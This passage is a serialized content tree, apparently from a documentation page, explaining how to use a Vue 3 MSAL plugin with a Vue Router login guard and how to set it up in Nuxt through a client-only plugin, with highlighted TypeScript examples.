"children":4808},{"style":533},[4809],{"type":38,"value":547},{"type":33,"tag":367,"props":4811,"children":4812},{"style":527},[4813],{"type":38,"value":552},{"type":33,"tag":367,"props":4815,"children":4816},{"style":380},[4817],{"type":38,"value":557},{"type":33,"tag":367,"props":4819,"children":4820},{"style":391},[4821],{"type":38,"value":4822},"vue-router",{"type":33,"tag":367,"props":4824,"children":4825},{"style":380},[4826],{"type":38,"value":388},{"type":33,"tag":367,"props":4828,"children":4829},{"style":380},[4830],{"type":38,"value":571},{"type":33,"tag":367,"props":4832,"children":4833},{"class":369,"line":625},[4834],{"type":33,"tag":367,"props":4835,"children":4836},{"emptyLinePlaceholder":726},[4837],{"type":38,"value":729},{"type":33,"tag":367,"props":4839,"children":4840},{"class":369,"line":681},[4841,4846,4851,4856],{"type":33,"tag":367,"props":4842,"children":4843},{"style":527},[4844],{"type":38,"value":4845},"export",{"type":33,"tag":367,"props":4847,"children":4848},{"style":633},[4849],{"type":38,"value":4850}," function",{"type":33,"tag":367,"props":4852,"children":4853},{"style":1124},[4854],{"type":38,"value":4855}," registerGuard",{"type":33,"tag":367,"props":4857,"children":4858},{"style":533},[4859],{"type":38,"value":3338},{"type":33,"tag":367,"props":4861,"children":4862},{"class":369,"line":722},[4863,4868,4872,4877],{"type":33,"tag":367,"props":4864,"children":4865},{"style":1344},[4866],{"type":38,"value":4867},"  router",{"type":33,"tag":367,"props":4869,"children":4870},{"style":380},[4871],{"type":38,"value":825},{"type":33,"tag":367,"props":4873,"children":4874},{"style":374},[4875],{"type":38,"value":4876}," Router",{"type":33,"tag":367,"props":4878,"children":4879},{"style":380},[4880],{"type":38,"value":908},{"type":33,"tag":367,"props":4882,"children":4883},{"class":369,"line":732},[4884,4888,4892,4897],{"type":33,"tag":367,"props":4885,"children":4886},{"style":1344},[4887],{"type":38,"value":1256},{"type":33,"tag":367,"props":4889,"children":4890},{"style":380},[4891],{"type":38,"value":825},{"type":33,"tag":367,"props":4893,"children":4894},{"style":374},[4895],{"type":38,"value":4896}," PublicClientApplication",{"type":33,"tag":367,"props":4898,"children":4899},{"style":380},[4900],{"type":38,"value":908},{"type":33,"tag":367,"props":4902,"children":4903},{"class":369,"line":766},[4904,4908],{"type":33,"tag":367,"props":4905,"children":4906},{"style":533},[4907],{"type":38,"value":1141},{"type":33,"tag":367,"props":4909,"children":4910},{"style":533},[4911],{"type":38,"value":840},{"type":33,"tag":367,"props":4913,"children":4914},{"class":369,"line":800},[4915,4919,4923,4927,4931,4936,4940,4944,4948,4953],{"type":33,"tag":367,"props":4916,"children":4917},{"style":374},[4918],{"type":38,"value":4867},{"type":33,"tag":367,"props":4920,"children":4921},{"style":380},[4922],{"type":38,"value":174},{"type":33,"tag":367,"props":4924,"children":4925},{"style":1124},[4926],{"type":38,"value":4587},{"type":33,"tag":367,"props":4928,"children":4929},{"style":533},[4930],{"type":38,"value":1131},{"type":33,"tag":367,"props":4932,"children":4933},{"style":812},[4934],{"type":38,"value":4935},"async",{"type":33,"tag":367,"props":4937,"children":4938},{"style":533},[4939],{"type":38,"value":1215},{"type":33,"tag":367,"props":4941,"children":4942},{"style":1344},[4943],{"type":38,"value":4596},{"type":33,"tag":367,"props":4945,"children":4946},{"style":533},[4947],{"type":38,"value":4242},{"type":33,"tag":367,"props":4949,"children":4950},{"style":633},[4951],{"type":38,"value":4952},"=>",{"type":33,"tag":367,"props":4954,"children":4955},{"style":533},[4956],{"type":38,"value":840},{"type":33,"tag":367,"props":4958,"children":4959},{"class":369,"line":808},[4960,4965,4969,4973,4977,4981,4985,4989,4993,4997,5001,5006],{"type":33,"tag":367,"props":4961,"children":4962},{"style":633},[4963],{"type":38,"value":4964},"    if",{"type":33,"tag":367,"props":4966,"children":4967},{"style":533},[4968],{"type":38,"value":1215},{"type":33,"tag":367,"props":4970,"children":4971},{"style":633},[4972],{"type":38,"value":2444},{"type":33,"tag":367,"props":4974,"children":4975},{"style":374},[4976],{"type":38,"value":4596},{"type":33,"tag":367,"props":4978,"children":4979},{"style":380},[4980],{"type":38,"value":174},{"type":33,"tag":367,"props":4982,"children":4983},{"style":374},[4984],{"type":38,"value":885},{"type":33,"tag":367,"props":4986,"children":4987},{"style":380},[4988],{"type":38,"value":174},{"type":33,"tag":367,"props":4990,"children":4991},{"style":527},[4992],{"type":38,"value":4640},{"type":33,"tag":367,"props":4994,"children":4995},{"style":533},[4996],{"type":38,"value":4242},{"type":33,"tag":367,"props":4998,"children":4999},{"style":3682},[5000],{"type":38,"value":4247},{"type":33,"tag":367,"props":5002,"children":5003},{"style":901},[5004],{"type":38,"value":5005}," true",{"type":33,"tag":367,"props":5007,"children":5008},{"style":380},[5009],{"type":38,"value":571},{"type":33,"tag":367,"props":5011,"children":5012},{"class":369,"line":843},[5013],{"type":33,"tag":367,"props":5014,"children":5015},{"emptyLinePlaceholder":726},[5016],{"type":38,"value":729},{"type":33,"tag":367,"props":5018,"children":5019},{"class":369,"line":861},[5020],{"type":33,"tag":367,"props":5021,"children":5022},{"style":518},[5023],{"type":38,"value":5024},"    // Both are safe to call repeatedly; MSAL no-ops after the first run.\n",{"type":33,"tag":367,"props":5026,"children":5027},{"class":369,"line":911},[5028,5033,5037,5041,5046,5050],{"type":33,"tag":367,"props":5029,"children":5030},{"style":3682},[5031],{"type":38,"value":5032},"    await",{"type":33,"tag":367,"props":5034,"children":5035},{"style":374},[5036],{"type":38,"value":1117},{"type":33,"tag":367,"props":5038,"children":5039},{"style":380},[5040],{"type":38,"value":174},{"type":33,"tag":367,"props":5042,"children":5043},{"style":1124},[5044],{"type":38,"value":5045},"initialize",{"type":33,"tag":367,"props":5047,"children":5048},{"style":533},[5049],{"type":38,"value":1197},{"type":33,"tag":367,"props":5051,"children":5052},{"style":380},[5053],{"type":38,"value":571},{"type":33,"tag":367,"props":5055,"children":5056},{"class":369,"line":956},[5057,5061,5065,5069,5074,5078],{"type":33,"tag":367,"props":5058,"children":5059},{"style":3682},[5060],{"type":38,"value":5032},{"type":33,"tag":367,"props":5062,"children":5063},{"style":374},[5064],{"type":38,"value":1117},{"type":33,"tag":367,"props":5066,"children":5067},{"style":380},[5068],{"type":38,"value":174},{"type":33,"tag":367,"props":5070,"children":5071},{"style":1124},[5072],{"type":38,"value":5073},"handleRedirectPromise",{"type":33,"tag":367,"props":5075,"children":5076},{"style":533},[5077],{"type":38,"value":1197},{"type":33,"tag":367,"props":5079,"children":5080},{"style":380},[5081],{"type":38,"value":571},{"type":33,"tag":367,"props":5083,"children":5084},{"class":369,"line":985},[5085],{"type":33,"tag":367,"props":5086,"children":5087},{"emptyLinePlaceholder":726},[5088],{"type":38,"value":729},{"type":33,"tag":367,"props":5090,"children":5091},{"class":369,"line":1014},[5092,5096,5100,5104,5108,5112,5116,5120,5124,5128,5132,5136,5140,5144],{"type":33,"tag":367,"props":5093,"children":5094},{"style":633},[5095],{"type":38,"value":4964},{"type":33,"tag":367,"props":5097,"children":5098},{"style":533},[5099],{"type":38,"value":1215},{"type":33,"tag":367,"props":5101,"children":5102},{"style":374},[5103],{"type":38,"value":1327},{"type":33,"tag":367,"props":5105,"children":5106},{"style":380},[5107],{"type":38,"value":174},{"type":33,"tag":367,"props":5109,"children":5110},{"style":1124},[5111],{"type":38,"value":1192},{"type":33,"tag":367,"props":5113,"children":5114},{"style":533},[5115],{"type":38,"value":1197},{"type":33,"tag":367,"props":5117,"children":5118},{"style":380},[5119],{"type":38,"value":174},{"type":33,"tag":367,"props":5121,"children":5122},{"style":527},[5123],{"type":38,"value":1229},{"type":33,"tag":367,"props":5125,"children":5126},{"style":633},[5127],{"type":38,"value":1234},{"type":33,"tag":367,"props":5129,"children":5130},{"style":901},[5131],{"type":38,"value":1239},{"type":33,"tag":367,"props":5133,"children":5134},{"style":533},[5135],{"type":38,"value":4242},{"type":33,"tag":367,"props":5137,"children":5138},{"style":3682},[5139],{"type":38,"value":4247},{"type":33,"tag":367,"props":5141,"children":5142},{"style":901},[5143],{"type":38,"value":5005},{"type":33,"tag":367,"props":5145,"children":5146},{"style":380},[5147],{"type":38,"value":571},{"type":33,"tag":367,"props":5149,"children":5150},{"class":369,"line":1027},[5151],{"type":33,"tag":367,"props":5152,"children":5153},{"emptyLinePlaceholder":726},[5154],{"type":38,"value":729},{"type":33,"tag":367,"props":5156,"children":5157},{"class":369,"line":1044},[5158,5162,5166,5170,5174],{"type":33,"tag":367,"props":5159,"children":5160},{"style":3682},[5161],{"type":38,"value":5032},{"type":33,"tag":367,"props":5163,"children":5164},{"style":374},[5165],{"type":38,"value":1117},{"type":33,"tag":367,"props":5167,"children":5168},{"style":380},[5169],{"type":38,"value":174},{"type":33,"tag":367,"props":5171,"children":5172},{"style":1124},[5173],{"type":38,"value":2240},{"type":33,"tag":367,"props":5175,"children":5176},{"style":533},[5177],{"type":38,"value":5178},"({\n",{"type":33,"tag":367,"props":5180,"children":5181},{"class":369,"line":1074},[5182,5187,5191,5195,5199,5203,5207,5211],{"type":33,"tag":367,"props":5183,"children":5184},{"style":847},[5185],{"type":38,"value":5186},"      scopes",{"type":33,"tag":367,"props":5188,"children":5189},{"style":380},[5190],{"type":38,"value":825},{"type":33,"tag":367,"props":5192,"children":5193},{"style":533},[5194],{"type":38,"value":3381},{"type":33,"tag":367,"props":5196,"children":5197},{"style":380},[5198],{"type":38,"value":388},{"type":33,"tag":367,"props":5200,"children":5201},{"style":391},[5202],{"type":38,"value":340},{"type":33,"tag":367,"props":5204,"children":5205},{"style":380},[5206],{"type":38,"value":388},{"type":33,"tag":367,"props":5208,"children":5209},{"style":533},[5210],{"type":38,"value":2928},{"type":33,"tag":367,"props":5212,"children":5213},{"style":380},[5214],{"type":38,"value":908},{"type":33,"tag":367,"props":5216,"children":5217},{"class":369,"line":1086},[5218,5223,5227,5232,5236,5241],{"type":33,"tag":367,"props":5219,"children":5220},{"style":847},[5221],{"type":38,"value":5222},"      redirectStartPage",{"type":33,"tag":367,"props":5224,"children":5225},{"style":380},[5226],{"type":38,"value":825},{"type":33,"tag":367,"props":5228,"children":5229},{"style":374},[5230],{"type":38,"value":5231}," to",{"type":33,"tag":367,"props":5233,"children":5234},{"style":380},[5235],{"type":38,"value":174},{"type":33,"tag":367,"props":5237,"children":5238},{"style":527},[5239],{"type":38,"value":5240},"fullPath",{"type":33,"tag":367,"props":5242,"children":5243},{"style":380},[5244],{"type":38,"value":908},{"type":33,"tag":367,"props":5246,"children":5247},{"class":369,"line":1099},[5248,5253],{"type":33,"tag":367,"props":5249,"children":5250},{"style":533},[5251],{"type":38,"value":5252},"    })",{"type":33,"tag":367,"props":5254,"children":5255},{"style":380},[5256],{"type":38,"value":571},{"type":33,"tag":367,"props":5258,"children":5259},{"class":369,"line":1107},[5260,5264,5269],{"type":33,"tag":367,"props":5261,"children":5262},{"style":3682},[5263],{"type":38,"value":4688},{"type":33,"tag":367,"props":5265,"children":5266},{"style":901},[5267],{"type":38,"value":5268}," false",{"type":33,"tag":367,"props":5270,"children":5271},{"style":380},[5272],{"type":38,"value":571},{"type":33,"tag":367,"props":5274,"children":5275},{"class":369,"line":1148},[5276,5281],{"type":33,"tag":367,"props":5277,"children":5278},{"style":533},[5279],{"type":38,"value":5280},"  })",{"type":33,"tag":367,"props":5282,"children":5283},{"style":380},[5284],{"type":38,"value":571},{"type":33,"tag":367,"props":5286,"children":5287},{"class":369,"line":1156},[5288],{"type":33,"tag":367,"props":5289,"children":5290},{"style":533},[5291],{"type":38,"value":1301},{"type":33,"tag":34,"props":5293,"children":5294},{},[5295,5301],{"type":33,"tag":41,"props":5296,"children":5298},{"className":5297},[],[5299],{"type":38,"value":5300},"redirectStartPage",{"type":38,"value":5302}," is what returns the user to the page they asked for instead of your app root.",{"type":33,"tag":34,"props":5304,"children":5305},{},[5306],{"type":38,"value":5307},"Mark the routes that need it and register the guard with the same instance you passed to the plugin:",{"type":33,"tag":357,"props":5309,"children":5311},{"className":506,"code":5310,"language":508,"meta":7,"style":7},"const router = createRouter({\n  history: createWebHistory(),\n  routes: [\n    { path: \"/\", component: Home },\n    { path: \"/profile\", component: Profile, meta: { requiresAuth: true } },\n  ],\n});\n\nregisterGuard(router, instance);\n",[5312],{"type":33,"tag":41,"props":5313,"children":5314},{"__ignoreMap":7},[5315,5339,5364,5381,5436,5524,5536,5547,5554],{"type":33,"tag":367,"props":5316,"children":5317},{"class":369,"line":370},[5318,5322,5326,5330,5335],{"type":33,"tag":367,"props":5319,"children":5320},{"style":812},[5321],{"type":38,"value":815},{"type":33,"tag":367,"props":5323,"children":5324},{"style":633},[5325],{"type":38,"value":776},{"type":33,"tag":367,"props":5327,"children":5328},{"style":380},[5329],{"type":38,"value":835},{"type":33,"tag":367,"props":5331,"children":5332},{"style":1124},[5333],{"type":38,"value":5334}," createRouter",{"type":33,"tag":367,"props":5336,"children":5337},{"style":533},[5338],{"type":38,"value":5178},{"type":33,"tag":367,"props":5340,"children":5341},{"class":369,"line":402},[5342,5347,5351,5356,5360],{"type":33,"tag":367,"props":5343,"children":5344},{"style":847},[5345],{"type":38,"value":5346},"  history",{"type":33,"tag":367,"props":5348,"children":5349},{"style":380},[5350],{"type":38,"value":825},{"type":33,"tag":367,"props":5352,"children":5353},{"style":1124},[5354],{"type":38,"value":5355}," createWebHistory",{"type":33,"tag":367,"props":5357,"children":5358},{"style":533},[5359],{"type":38,"value":1197},{"type":33,"tag":367,"props":5361,"children":5362},{"style":380},[5363],{"type":38,"value":908},{"type":33,"tag":367,"props":5365,"children":5366},{"class":369,"line":574},[5367,5372,5376],{"type":33,"tag":367,"props":5368,"children":5369},{"style":847},[5370],{"type":38,"value":5371},"  routes",{"type":33,"tag":367,"props":5373,"children":5374},{"style":380},[5375],{"type":38,"value":825},{"type":33,"tag":367,"props":5377,"children":5378},{"style":533},[5379],{"type":38,"value":5380}," [\n",{"type":33,"tag":367,"props":5382,"children":5383},{"class":369,"line":625},[5384,5389,5394,5398,5402,5406,5410,5414,5419,5423,5428,5432],{"type":33,"tag":367,"props":5385,"children":5386},{"style":533},[5387],{"type":38,"value":5388},"    {",{"type":33,"tag":367,"props":5390,"children":5391},{"style":847},[5392],{"type":38,"value":5393}," path",{"type":33,"tag":367,"props":5395,"children":5396},{"style":380},[5397],{"type":38,"value":825},{"type":33,"tag":367,"props":5399,"children":5400},{"style":380},[5401],{"type":38,"value":557},{"type":33,"tag":367,"props":5403,"children":5404},{"style":391},[5405],{"type":38,"value":2316},{"type":33,"tag":367,"props":5407,"children":5408},{"style":380},[5409],{"type":38,"value":388},{"type":33,"tag":367,"props":5411,"children":5412},{"style":380},[5413],{"type":38,"value":593},{"type":33,"tag":367,"props":5415,"children":5416},{"style":847},[5417],{"type":38,"value":5418}," component",{"type":33,"tag":367,"props":5420,"children":5421},{"style":380},[5422],{"type":38,"value":825},{"type":33,"tag":367,"props":5424,"children":5425},{"style":527},[5426],{"type":38,"value":5427}," Home",{"type":33,"tag":367,"props":5429,"children":5430},{"style":533},[5431],{"type":38,"value":547},{"type":33,"tag":367,"props":5433,"children":5434},{"style":380},[5435],{"type":38,"value":908},{"type":33,"tag":367,"props":5437,"children":5438},{"class":369,"line":681},[5439,5443,5447,5451,5455,5460,5464,5468,5472,5476,5481,5485,5490,5494,5498,5504,5508,5512,5516,5520],{"type":33,"tag":367,"props":5440,"children":5441},{"style":533},[5442],{"type":38,"value":5388},{"type":33,"tag":367,"props":5444,"children":5445},{"style":847},[5446],{"type":38,"value":5393},{"type":33,"tag":367,"props":5448,"children":5449},{"style":380},[5450],{"type":38,"value":825},{"type":33,"tag":367,"props":5452,"children":5453},{"style":380},[5454],{"type":38,"value":557},{"type":33,"tag":367,"props":5456,"children":5457},{"style":391},[5458],{"type":38,"value":5459},"/profile",{"type":33,"tag":367,"props":5461,"children":5462},{"style":380},[5463],{"type":38,"value":388},{"type":33,"tag":367,"props":5465,"children":5466},{"style":380},[5467],{"type":38,"value":593},{"type":33,"tag":367,"props":5469,"children":5470},{"style":847},[5471],{"type":38,"value":5418},{"type":33,"tag":367,"props":5473,"children":5474},{"style":380},[5475],{"type":38,"value":825},{"type":33,"tag":367,"props":5477,"children":5478},{"style":527},[5479],{"type":38,"value":5480}," Profile",{"type":33,"tag":367,"props":5482,"children":5483},{"style":380},[5484],{"type":38,"value":593},{"type":33,"tag":367,"props":5486,"children":5487},{"style":847},[5488],{"type":38,"value":5489}," meta",{"type":33,"tag":367,"props":5491,"children":5492},{"style":380},[5493],{"type":38,"value":825},{"type":33,"tag":367,"props":5495,"children":5496},{"style":533},[5497],{"type":38,"value":1854},{"type":33,"tag":367,"props":5499,"children":5501},{"style":5500},"--shiki-default:#41A6B5",[5502],{"type":38,"value":5503}," requiresAuth",{"type":33,"tag":367,"props":5505,"children":5506},{"style":380},[5507],{"type":38,"value":825},{"type":33,"tag":367,"props":5509,"children":5510},{"style":901},[5511],{"type":38,"value":5005},{"type":33,"tag":367,"props":5513,"children":5514},{"style":533},[5515],{"type":38,"value":547},{"type":33,"tag":367,"props":5517,"children":5518},{"style":533},[5519],{"type":38,"value":547},{"type":33,"tag":367,"props":5521,"children":5522},{"style":380},[5523],{"type":38,"value":908},{"type":33,"tag":367,"props":5525,"children":5526},{"class":369,"line":722},[5527,5532],{"type":33,"tag":367,"props":5528,"children":5529},{"style":533},[5530],{"type":38,"value":5531},"  ]",{"type":33,"tag":367,"props":5533,"children":5534},{"style":380},[5535],{"type":38,"value":908},{"type":33,"tag":367,"props":5537,"children":5538},{"class":369,"line":732},[5539,5543],{"type":33,"tag":367,"props":5540,"children":5541},{"style":533},[5542],{"type":38,"value":1532},{"type":33,"tag":367,"props":5544,"children":5545},{"style":380},[5546],{"type":38,"value":571},{"type":33,"tag":367,"props":5548,"children":5549},{"class":369,"line":766},[5550],{"type":33,"tag":367,"props":5551,"children":5552},{"emptyLinePlaceholder":726},[5553],{"type":38,"value":729},{"type":33,"tag":367,"props":5555,"children":5556},{"class":369,"line":800},[5557,5562,5566,5570,5574,5578,5582],{"type":33,"tag":367,"props":5558,"children":5559},{"style":1124},[5560],{"type":38,"value":5561},"registerGuard",{"type":33,"tag":367,"props":5563,"children":5564},{"style":533},[5565],{"type":38,"value":1131},{"type":33,"tag":367,"props":5567,"children":5568},{"style":374},[5569],{"type":38,"value":1610},{"type":33,"tag":367,"props":5571,"children":5572},{"style":380},[5573],{"type":38,"value":593},{"type":33,"tag":367,"props":5575,"children":5576},{"style":374},[5577],{"type":38,"value":1117},{"type":33,"tag":367,"props":5579,"children":5580},{"style":533},[5581],{"type":38,"value":1141},{"type":33,"tag":367,"props":5583,"children":5584},{"style":380},[5585],{"type":38,"value":571},{"type":33,"tag":34,"props":5587,"children":5588},{},[5589,5594,5596,5602,5604,5609],{"type":33,"tag":41,"props":5590,"children":5592},{"className":5591},[],[5593],{"type":38,"value":1764},{"type":38,"value":5595}," can't run here. It reads the component instance from ",{"type":33,"tag":41,"props":5597,"children":5599},{"className":5598},[],[5600],{"type":38,"value":5601},"getCurrentInstance()",{"type":38,"value":5603},", which is ",{"type":33,"tag":41,"props":5605,"children":5607},{"className":5606},[],[5608],{"type":38,"value":4159},{"type":38,"value":5610}," inside a navigation guard. Pass the MSAL instance in explicitly.",{"type":33,"tag":95,"props":5612,"children":5614},{"id":5613},"using-msal-in-nuxt",[5615],{"type":38,"value":5616},"Using MSAL in Nuxt",{"type":33,"tag":34,"props":5618,"children":5619},{},[5620,5625,5627,5633,5634,5639,5641,5647],{"type":33,"tag":41,"props":5621,"children":5623},{"className":5622},[],[5624],{"type":38,"value":46},{"type":38,"value":5626}," reads ",{"type":33,"tag":41,"props":5628,"children":5630},{"className":5629},[],[5631],{"type":38,"value":5632},"window",{"type":38,"value":150},{"type":33,"tag":41,"props":5635,"children":5637},{"className":5636},[],[5638],{"type":38,"value":1063},{"type":38,"value":5640},". Neither exists during server-side rendering, so a single shared plugin either crashes on the server or forces you to wrap half your UI in ",{"type":33,"tag":41,"props":5642,"children":5644},{"className":5643},[],[5645],{"type":38,"value":5646},"\u003CClientOnly>",{"type":38,"value":174},{"type":33,"tag":34,"props":5649,"children":5650},{},[5651,5652,5659,5661,5667],{"type":38,"value":1727},{"type":33,"tag":68,"props":5653,"children":5656},{"href":5654,"rel":5655},"https://github.com/DulanDev/vue3-msal/tree/main/samples/sample-with-nuxt",[72],[5657],{"type":38,"value":5658},"Nuxt sample in the repo",{"type":38,"value":5660}," uses two plugins instead, so ",{"type":33,"tag":41,"props":5662,"children":5664},{"className":5663},[],[5665],{"type":38,"value":5666},"$msal",{"type":38,"value":5668}," resolves on both sides.",{"type":33,"tag":34,"props":5670,"children":5671},{},[5672],{"type":38,"value":5673},"The client plugin builds and installs the instance:",{"type":33,"tag":357,"props":5675,"children":5677},{"className":506,"code":5676,"language":508,"meta":7,"style":7},"// app/plugins/msal.client.ts\nimport { msalPlugin, msalInstance } from \"vue3-msal-plugin\";\nimport type { Configuration } from \"@azure/msal-browser\";\n\nexport default defineNuxtPlugin(async (nuxtApp) => {\n  const config = useRuntimeConfig();\n\n  const msalConfig: Configuration = {\n    auth: {\n      clientId: String(config.public.clientId),\n      authority: String(config.public.authority),\n      redirectUri: String(config.public.redirectUri),\n    },\n    cache: { cacheLocation: \"localStorage\" },\n  };\n\n  const instance = msalInstance(msalConfig);\n  await instance.initialize();\n\n  const accounts = instance.getAllAccounts();\n  if (accounts[0]) instance.setActiveAccount(accounts[0]);\n\n  nuxtApp.vueApp.use(msalPlugin, instance);\n});\n",[5678],{"type":33,"tag":41,"props":5679,"children":5680},{"__ignoreMap":7},[5681,5689,5736,5779,5786,5832,5862,5869,5896,5912,5964,6013,6062,6074,6119,6130,6137,6172,6200,6207,6242,6306,6313,6362],{"type":33,"tag":367,"props":5682,"children":5683},{"class":369,"line":370},[5684],{"type":33,"tag":367,"props":5685,"children":5686},{"style":518},[5687],{"type":38,"value":5688},"// app/plugins/msal.client.ts\n",{"type":33,"tag":367,"props":5690,"children":5691},{"class":369,"line":402},[5692,5696,5700,5704,5708,5712,5716,5720,5724,5728,5732],{"type":33,"tag":367,"props":5693,"children":5694},{"style":527},[5695],{"type":38,"value":530},{"type":33,"tag":367,"props":5697,"children":5698},{"style":533},[5699],{"type":38,"value":536},{"type":33,"tag":367,"props":5701,"children":5702},{"style":539},[5703],{"type":38,"value":588},{"type":33,"tag":367,"props":5705,"children":5706},{"style":380},[5707],{"type":38,"value":593},{"type":33,"tag":367,"props":5709,"children":5710},{"style":539},[5711],{"type":38,"value":598},{"type":33,"tag":367,"props":5713,"children":5714},{"style":533},[5715],{"type":38,"value":547},{"type":33,"tag":367,"props":5717,"children":5718},{"style":527},[5719],{"type":38,"value":552},{"type":33,"tag":367,"props":5721,"children":5722},{"style":380},[5723],{"type":38,"value":557},{"type":33,"tag":367,"props":5725,"children":5726},{"style":391},[5727],{"type":38,"value":79},{"type":33,"tag":367,"props":5729,"children":5730},{"style":380},[5731],{"type":38,"value":388},{"type":33,"tag":367,"props":5733,"children":5734},{"style":380},[5735],{"type":38,"value":571},{"type":33,"tag":367,"props":5737,"children":5738},{"class":369,"line":574},[5739,5743,5747,5751,5755,5759,5763,5767,5771,5775],{"type":33,"tag":367,"props":5740,"children":5741},{"style":527},[5742],{"type":38,"value":530},{"type":33,"tag":367,"props":5744,"children":5745},{"style":633},[5746],{"type":38,"value":636},{"type":33,"tag":367,"props":5748,"children":5749},{"style":533},[5750],{"type":38,"value":536},{"type":33,"tag":367,"props":5752,"children":5753},{"style":539},[5754],{"type":38,"value":645},{"type":33,"tag":367,"props":5756,"children":5757},{"style":533},[5758],{"type":38,"value":547},{"type":33,"tag":367,"props":5760,"children":5761},{"style":527},[5762],{"type":38,"value":552},{"type":33,"tag":367,"props":5764,"children":5765},{"style":380},[5766],{"type":38,"value":557},{"type":33,"tag":367,"props":5768,"children":5769},{"style":391},[5770],{"type":38,"value":46},{"type":33,"tag":367,"props":5772,"children":5773},{"style":380},[5774],{"type":38,"value":388},{"type":33,"tag":367,"props":5776,"children":5777},{"style":380},[5778],{"type":38,"value":571},{"type":33,"tag":367,"props":5780,"children":5781},{"class":369,"line":625},[5782],{"type":33,"tag":367,"props":5783,"children":5784},{"emptyLinePlaceholder":726},[5785],{"type":38,"value":729},{"type":33,"tag":367,"props":5787,"children":5788},{"class":369,"line":681},[5789,5793,5798,5803,5807,5811,5815,5820,5824,5828],{"type":33,"tag":367,"props":5790,"children":5791},{"style":527},[5792],{"type":38,"value":4845},{"type":33,"tag":367,"props":5794,"children":5795},{"style":527},[5796],{"type":38,"value":5797}," default",{"type":33,"tag":367,"props":5799,"children":5800},{"style":1124},[5801],{"type":38,"value":5802}," defineNuxtPlugin",{"type":33,"tag":367,"props":5804,"children":5805},{"style":533},[5806],{"type":38,"value":1131},{"type":33,"tag":367,"props":5808,"children":5809},{"style":812},[5810],{"type":38,"value":4935},{"type":33,"tag":367,"props":5812,"children":5813},{"style":533},[5814],{"type":38,"value":1215},{"type":33,"tag":367,"props":5816,"children":5817},{"style":1344},[5818],{"type":38,"value":5819},"nuxtApp",{"type":33,"tag":367,"props":5821,"children":5822},{"style":533},[5823],{"type":38,"value":1141},{"type":33,"tag":367,"props":5825,"children":5826},{"style":633},[5827],{"type":38,"value":1356},{"type":33,"tag":367,"props":5829,"children":5830},{"style":533},[5831],{"type":38,"value":840},{"type":33,"tag":367,"props":5833,"children":5834},{"class":369,"line":722},[5835,5840,5845,5849,5854,5858],{"type":33,"tag":367,"props":5836,"children":5837},{"style":812},[5838],{"type":38,"value":5839},"  const",{"type":33,"tag":367,"props":5841,"children":5842},{"style":633},[5843],{"type":38,"value":5844}," config",{"type":33,"tag":367,"props":5846,"children":5847},{"style":380},[5848],{"type":38,"value":835},{"type":33,"tag":367,"props":5850,"children":5851},{"style":1124},[5852],{"type":38,"value":5853}," useRuntimeConfig",{"type":33,"tag":367,"props":5855,"children":5856},{"style":533},[5857],{"type":38,"value":1197},{"type":33,"tag":367,"props":5859,"children":5860},{"style":380},[5861],{"type":38,"value":571},{"type":33,"tag":367,"props":5863,"children":5864},{"class":369,"line":732},[5865],{"type":33,"tag":367,"props":5866,"children":5867},{"emptyLinePlaceholder":726},[5868],{"type":38,"value":729},{"type":33,"tag":367,"props":5870,"children":5871},{"class":369,"line":766},[5872,5876,5880,5884,5888,5892],{"type":33,"tag":367,"props":5873,"children":5874},{"style":812},[5875],{"type":38,"value":5839},{"type":33,"tag":367,"props":5877,"children":5878},{"style":633},[5879],{"type":38,"value":820},{"type":33,"tag":367,"props":5881,"children":5882},{"style":380},[5883],{"type":38,"value":825},{"type":33,"tag":367,"props":5885,"children":5886},{"style":374},[5887],{"type":38,"value":830},{"type":33,"tag":367,"props":5889,"children":5890},{"style":380},[5891],{"type":38,"value":835},{"type":33,"tag":367,"props":5893,"children":5894},{"style":533},[5895],{"type":38,"value":840},{"type":33,"tag":367,"props":5897,"children":5898},{"class":369,"line":800},[5899,5904,5908],{"type":33,"tag":367,"props":5900,"children":5901},{"style":847},[5902],{"type":38,"value":5903},"    auth",{"type":33,"tag":367,"props":5905,"children":5906},{"style":380},[5907],{"type":38,"value":825},{"type":33,"tag":367,"props":5909,"children":5910},{"style":533},[5911],{"type":38,"value":840},{"type":33,"tag":367,"props":5913,"children":5914},{"class":369,"line":808},[5915,5920,5924,5929,5933,5938,5942,5947,5951,5956,5960],{"type":33,"tag":367,"props":5916,"children":5917},{"style":847},[5918],{"type":38,"value":5919},"      clientId",{"type":33,"tag":367,"props":5921,"children":5922},{"style":380},[5923],{"type":38,"value":825},{"type":33,"tag":367,"props":5925,"children":5926},{"style":1124},[5927],{"type":38,"value":5928}," String",{"type":33,"tag":367,"props":5930,"children":5931},{"style":533},[5932],{"type":38,"value":1131},{"type":33,"tag":367,"props":5934,"children":5935},{"style":374},[5936],{"type":38,"value":5937},"config",{"type":33,"tag":367,"props":5939,"children":5940},{"style":380},[5941],{"type":38,"value":174},{"type":33,"tag":367,"props":5943,"children":5944},{"style":374},[5945],{"type":38,"value":5946},"public",{"type":33,"tag":367,"props":5948,"children":5949},{"style":380},[5950],{"type":38,"value":174},{"type":33,"tag":367,"props":5952,"children":5953},{"style":527},[5954],{"type":38,"value":5955},"clientId",{"type":33,"tag":367,"props":5957,"children":5958},{"style":533},[5959],{"type":38,"value":1141},{"type":33,"tag":367,"props":5961,"children":5962},{"style":380},[5963],{"type":38,"value":908},{"type":33,"tag":367,"props":5965,"children":5966},{"class":369,"line":843},[5967,5972,5976,5980,5984,5988,5992,5996,6000,6005,6009],{"type":33,"tag":367,"props":5968,"children":5969},{"style":847},[5970],{"type":38,"value":5971},"      authority",{"type":33,"tag":367,"props":5973,"children":5974},{"style":380},[5975],{"type":38,"value":825},{"type":33,"tag":367,"props":5977,"children":5978},{"style":1124},[5979],{"type":38,"value":5928},{"type":33,"tag":367,"props":5981,"children":5982},{"style":533},[5983],{"type":38,"value":1131},{"type":33,"tag":367,"props":5985,"children":5986},{"style":374},[5987],{"type":38,"value":5937},{"type":33,"tag":367,"props":5989,"children":5990},{"style":380},[5991],{"type":38,"value":174},{"type":33,"tag":367,"props":5993,"children":5994},{"style":374},[5995],{"type":38,"value":5946},{"type":33,"tag":367,"props":5997,"children":5998},{"style":380},[5999],{"type":38,"value":174},{"type":33,"tag":367,"props":6001,"children":6002},{"style":527},[6003],{"type":38,"value":6004},"authority",{"type":33,"tag":367,"props":6006,"children":6007},{"style":533},[6008],{"type":38,"value":1141},{"type":33,"tag":367,"props":6010,"children":6011},{"style":380},[6012],{"type":38,"value":908},{"type":33,"tag":367,"props":6014,"children":6015},{"class":369,"line":861},[6016,6021,6025,6029,6033,6037,6041,6045,6049,6054,6058],{"type":33,"tag":367,"props":6017,"children":6018},{"st